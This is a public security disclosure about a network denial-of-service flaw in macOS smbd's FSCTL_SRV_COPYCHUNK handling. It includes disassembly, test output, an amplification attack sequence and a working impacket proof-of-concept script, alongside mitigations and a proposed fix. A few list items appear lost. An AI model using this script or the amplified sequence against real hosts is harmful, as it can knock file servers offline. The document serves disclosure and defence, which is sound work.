smbd FSCTL_SRV_COPYCHUNK Missing Limit EnforcementNetwork Denial of Service on macOS — Public Disclosure SMB-01A
Independent Security Research — Whitby, North Yorkshire, United Kingdom
Apple’s /usr/sbin/smbd processes the FSCTL_SRV_COPYCHUNK IOCTL request without
enforcing any of the three limits mandated by MS-SMB2 §3.3.5.15.6: MaxChunkCount (256),
MaxChunkSize (1 MiB), and MaxDataSize (16 MiB). An authenticated attacker — or a
guest user where File Sharing is configured to permit guest access — can supply a single
IOCTL request with 65,535 chunks each of 1 MiB, causing smbd to perform 65,535 read-write
pairs totalling up to 64 GiB of disk I/O. The author confirmed all three limits absent by
sending crafted SMB3 IOCTL packets and observing STATUS_SUCCESS for inputs the specification
requires to be rejected with STATUS_INVALID_PARAMETER. The amplification ratio — 256 bytes
in, up to 64 GiB of server I/O out — is the defining property of this bug class.
Keywords: denial of service · amplification · SMB2 · FSCTL_SRV_COPYCHUNK · macOS smbd · MS-SMB2 · responsible disclosure · Apple Security Bounty
| Date | Event |
|---|---|
| 2026-04-17 | Initial report to Apple Security Bounty (OE1105668888438) with disassembly and runtime evidence. |
| 2026-04-25 | Apple upgraded status from “Received” to “Fix scheduled Fall 2026 / In progress”, triggering bounty-band assessment. |
| 2026-05-13 | Public disclosure (this document). |
macOS ships a built-in SMB server, /usr/sbin/smbd, as part of the File Sharing feature. It is
Apple’s own in-tree implementation — not the Samba project’s smbd — and it implements the
SMB2/3 protocol, including server-side copy via the FSCTL_SRV_COPYCHUNK IOCTL.
The MS-SMB2 specification (§3.3.5.15.6) requires that conformant servers enforce three
per-request limits and, if any is exceeded, return STATUS_INVALID_PARAMETER with a response
body advertising the enforced limits. These limits exist precisely to bound server-side resource
consumption per request. Apple’s implementation enforces none of them.
The practical consequence is a network-reachable amplification primitive: an attacker with an
authenticated session (or a guest session where guest access is enabled) can supply a 256-byte
IOCTL request and cause the server to commit up to 64 GiB of disk I/O. This exhausts I/O
resources, may hang smbd, and can render the host unresponsive.
| Field | Value |
|---|---|
| Binary | /usr/sbin/smbd |
| macOS tested | 26.4.1 build 25E253 (arm64e) |
| Architecture | Mach-O universal (x86_64 + arm64e) |
| Code-signed | 2026-04-06 |
| Listens on | TCP/445 |
| Runs as | root |
This binary is Apple’s internal SMB server implementation and is not related to the Samba
project’s smbd.
MS-SMB2 §3.3.5.15.6 (FSCTL_SRV_COPYCHUNK server processing) requires conformant servers
to validate three limits and, if any is exceeded, return STATUS_INVALID_PARAMETER with
a SRV_COPYCHUNK_RESPONSE body containing the enforced limits:
Table 2. MS-SMB2 §3.3.5.15.6 required limits and Apple smbd enforcement status.
| Limit | MS-SMB2 value | Apple smbd enforces? |
|---|---|---|
MaxChunkCount | 256 | No |
MaxChunkSize (per chunk) | 1,048,576 bytes (1 MiB) | No |
MaxDataSize (total) | 16,777,216 bytes (16 MiB) | No |
Without these limits a single request can drive arbitrary disk and CPU work. The specification’s intent is explicit: these values are defined as server-protection guardrails.
The author identified the missing checks by static analysis of the arm64e slice of
/usr/sbin/smbd on macOS 26.4.1, then confirmed dynamically.
chunk_count — No Upper BoundIn smb::extract<srv_copychunk_copy> at offset 0x100049668:
ldr w10, [x9, #0x18] ; w10 = chunk_count
; (attacker-controlled, 32 bits)
stp w10, wzr, [x2, #0x18] ; stored directly
; — NO bounds check
The value lands unmodified in the parsed message structure.
copy_chunks — Only-Zero Checkcopy_chunks at 0x100026b6c:
ldur w8, [x29, #-0x68] ; w8 = chunk_count
cbz w8, 0x100027024 ; ONLY check: bail if zero
; NO: cmp w8, #0x100
; (MaxChunkCount = 256)
mov w24, #0x0 ; loop counter
; Per-chunk body:
ldr w27, [sp, #0x78] ; w27 = byte_count (attacker-controlled)
ldr x8, [sp, #0x48] ; x8 = heap_buffer.capacity
cmp x8, x27
b.hs 0x100026d98
bl heap_buffer::grow_atleast ; grow to byte_count — NO LIMIT
bl ntvfs::read_file ; read byte_count bytes
bl ntvfs::write_file ; write byte_count bytes
add w24, w24, #0x1
cmp w24, w8
b.lo 0x100026d54 ; loop chunk_count times
The loop iterates chunk_count times; each iteration reads and writes up to byte_count
bytes. Neither value is bounded against the specification limits.
platform::allocate:
bl _malloc_type_realloc
cbnz x0, return_ok ; success path
bl _invoke_new_handler ; std::new_handler
; loops indefinitely until terminate() or swap exhaustion
The new-handler retry loop means the daemon will not return quickly under low-memory conditions; the failure mode is prolonged unresponsiveness rather than a clean error response.
Captured against /usr/sbin/smbd on macOS 26.4.1 build 25E253 (arm64e), with SMB File
Sharing enabled and guest access permitted. Test client: macOS VM at 192.168.64.2 running
impacket 0.12.0 over SMB 3.0.
AUTH OK guest=1 dialect=0x300 (SMB 3.0)
TREE_CONNECT: OK share=Movies tid=0x00000001
RESUME_KEY: 010000000000000054f30b000000000000000000000000
[T1] FSCTL_SRV_COPYCHUNK chunk_count=257, byte_count=64
STATUS_SUCCESS ChunksWritten=257 TotalBytesWritten=16448
→ MaxChunkCount=256 NOT enforced (accepted 257 chunks)
[T2] FSCTL_SRV_COPYCHUNK chunk_count=1, byte_count=1048577
STATUS_SUCCESS ChunksWritten=1 TotalBytesWritten=1048577
→ MaxChunkSize=1 MiB NOT enforced (accepted 1 MiB + 1 byte)
[T3] FSCTL_SRV_COPYCHUNK chunk_count=65535, byte_count=1024
STATUS_SUCCESS ChunksWritten=65535 TotalBytesWritten=67107840
→ 65,535 file-copy operations per request accepted
[T4] FSCTL_SRV_COPYCHUNK chunk_count=17, byte_count=1048576
STATUS_SUCCESS ChunksWritten=17 TotalBytesWritten=17825792
→ MaxDataSize=16 MiB NOT enforced (~17 MiB accepted)
All four tests were directly observable on the wire (tshark -i lo0 shows the
STATUS_SUCCESS responses) and at the filesystem (test files were grown to the claimed sizes).
smbd did not crash during these tests. The author did not run the maximally-amplified
configuration (65,535 × 1 MiB = 64 GiB I/O per request) in repeated form; the single-shot
request reproducibly produces sustained smbd CPU and I/O load measured in tens of seconds.
Table 3. Attack model — SMB-01A.
| Layer | Requirement |
|---|---|
| Network | TCP/445 reachable on the target |
| Auth | Authenticated SMB session (any local user or guest if File Sharing permits) |
| Share | Any share the caller has read+write access to |
| User interaction | None |
A typical attack sequence:
CLIENT → NEGOTIATE
CLIENT → SESSION_SETUP (any credential or guest)
CLIENT → TREE_CONNECT (any accessible share)
CLIENT → CREATE (any accessible file — read+write)
CLIENT → IOCTL FSCTL_SRV_REQUEST_RESUME_KEY
CLIENT → IOCTL FSCTL_SRV_COPYCHUNK:
ChunkCount = 65535
Chunk[i].SourceOffset = 0
Chunk[i].DestinationOffset = 0
Chunk[i].Length = 1048576 (1 MiB)
→ smbd: 65,535 × (read_file(1MiB) + write_file(1MiB))
→ 64 GiB disk I/O per 256-byte IOCTL request
The amplification ratio — 256 bytes in, up to 64 GiB out — is the defining property. A modest attacker bandwidth budget produces disproportionate server I/O.
The PoC uses impacket to construct the malformed
COPYCHUNK request. The configuration below demonstrates the missing MaxChunkCount limit
using 257 chunks of 64 bytes, sufficient to validate the bug class without inflicting sustained
DoS on test infrastructure.
# poc_smb01a_copychunk.py — public-safe demonstration
# Requires impacket 0.11+ and a target macOS host with
# File Sharing enabled. Run only against hosts you own.
from impacket.smbconnection import SMBConnection
from impacket.smb3structs import *
import struct, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else '192.168.64.1'
SHARE = sys.argv[2] if len(sys.argv) > 2 else 'Movies'
USER = sys.argv[3] if len(sys.argv) > 3 else 'guest'
PASS = sys.argv[4] if len(sys.argv) > 4 else ''
conn = SMBConnection(TARGET, TARGET, sess_port=445)
conn.login(USER, PASS, '')
tid = conn.connectTree(SHARE)
smb3 = conn.getSMBServer()
src_fid = conn.createFile(
tid, '\\poc_src.tmp',
desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
creationOption=FILE_NON_DIRECTORY_FILE,
creationDisposition=FILE_OVERWRITE_IF,
fileAttributes=FILE_ATTRIBUTE_NORMAL)
conn.writeFile(tid, src_fid, b'A' * 65536)
dst_fid = conn.createFile(
tid, '\\poc_dst.tmp',
desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE,
creationOption=FILE_NON_DIRECTORY_FILE,
creationDisposition=FILE_OVERWRITE_IF,
fileAttributes=FILE_ATTRIBUTE_NORMAL)
rk = smb3.ioctl(tid, fileId=src_fid,
ctlCode=0x00140078, flags=1,
inputBlob=b'', maxInputResponse=0,
maxOutputResponse=32)
key = (rk or b'\x00' * 24)[:24].ljust(24, b'\x00')
CHUNKS = 257
buf = key + struct.pack('<II', CHUNKS, 0)
for _ in range(CHUNKS):
buf += struct.pack('<QQI', 0, 0, 64)
buf += b'\x00' * 4
resp = smb3.ioctl(tid, fileId=dst_fid,
ctlCode=0x001440F2, # FSCTL_SRV_COPYCHUNK
flags=1, inputBlob=buf,
maxInputResponse=0, maxOutputResponse=24)
if resp and len(resp) >= 12:
cw, _, tb = struct.unpack_from('<III', resp)
print(f"ChunksWritten={cw} TotalBytesWritten={tb}")
if cw > 256:
print("MaxChunkCount=256 NOT enforced — accepted", cw)
Expected output against an unpatched host:
ChunksWritten=257 TotalBytesWritten=16448 MaxChunkCount=256 NOT enforced — server accepted 257 chunks
Administrators can apply the following mitigations until Apple’s fix ships:
sudo sysadminctl -smbGuestAccess offpfctl rules or router policy to limit
inbound connections to known clients.Before the chunk-processing loop in copy_chunks (entry at offset 0x100026b6c in the
macOS 26.4.1 arm64e slice), enforce the three specification limits:
/* MS-SMB2 §3.3.5.15.6 limits */
#define SMB2_COPYCHUNK_MAX_CHUNK_COUNT 256
#define SMB2_COPYCHUNK_MAX_CHUNK_SIZE (1024 * 1024) /* 1 MiB */
#define SMB2_COPYCHUNK_MAX_DATA_SIZE (16 * 1024 * 1024) /* 16 MiB */
if (copychunk.chunk_count > SMB2_COPYCHUNK_MAX_CHUNK_COUNT)
return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);
uint64_t total_bytes = 0;
for (uint32_t i = 0; i < copychunk.chunk_count; i++) {
if (chunk[i].length > SMB2_COPYCHUNK_MAX_CHUNK_SIZE)
return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);
total_bytes += chunk[i].length;
if (total_bytes > SMB2_COPYCHUNK_MAX_DATA_SIZE)
return SMB2_RETURN_LIMITS(STATUS_INVALID_PARAMETER);
}
The SMB2_RETURN_LIMITS helper should construct the SRV_COPYCHUNK_RESPONSE body with the
three enforced limits so that conformant clients can adjust their requests, per the specification.
Table 4. Impact assessment — SMB-01A.
| Dimension | Value |
|---|---|
| Attack vector | Network (TCP/445) |
| Access required | Low (authenticated SMB session; guest if enabled) |
| User interaction | None |
| Scope | Unchanged |
| Confidentiality | None (DoS, not information disclosure) |
| Integrity | None |
| Availability | High — smbd unresponsive; host I/O saturated |
| CVSS 3.1 (author’s estimate) | 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
On the PR:L rating: the attack requires an authenticated session. Where guest
access is enabled by the administrator, the effective PR is N (no privilege) and
the score rises to 7.5. The author has chosen the more conservative PR:L rating for the
default configuration where guest access is off.
This disclosure is published 26 days after the initial report and ahead of Apple’s scheduled Fall 2026 fix. The author considers this appropriate because:
This disclosure does not include a maximally-amplified weaponisation script. The PoC above
demonstrates the absence of MaxChunkCount enforcement using 257 chunks of 64 bytes —
sufficient to validate the bug class without intentionally inflicting sustained DoS on test
infrastructure.
This document is licensed CC BY 4.0; reuse, citation, and redistribution are permitted with
attribution. The PoC requires Python 3, impacket ≥ 0.11, and a macOS host with SMB File
Sharing enabled. Run only against hosts you own and control. The disassembly evidence requires
a copy of /usr/sbin/smbd from the affected macOS version and a Mach-O disassembler
(the author used otool -tV and radare2).
The author thanks Microsoft for publishing the MS-SMB2 specification that documents the missing limits, and the maintainers of the impacket project (Fortra / SecureAuth) for the SMB tooling that made the runtime evidence tractable. The author thanks the Apple Product Security team for confirming reproduction and scheduling the fix.
Stuart Thomas is an independent security researcher with prior contributions accepted into the OpenBSD and FreeBSD projects and submissions accepted into the Apple Security Bounty pipeline. The opinions expressed are the author’s own. This disclosure represents the author’s own work and does not represent the position of any employer.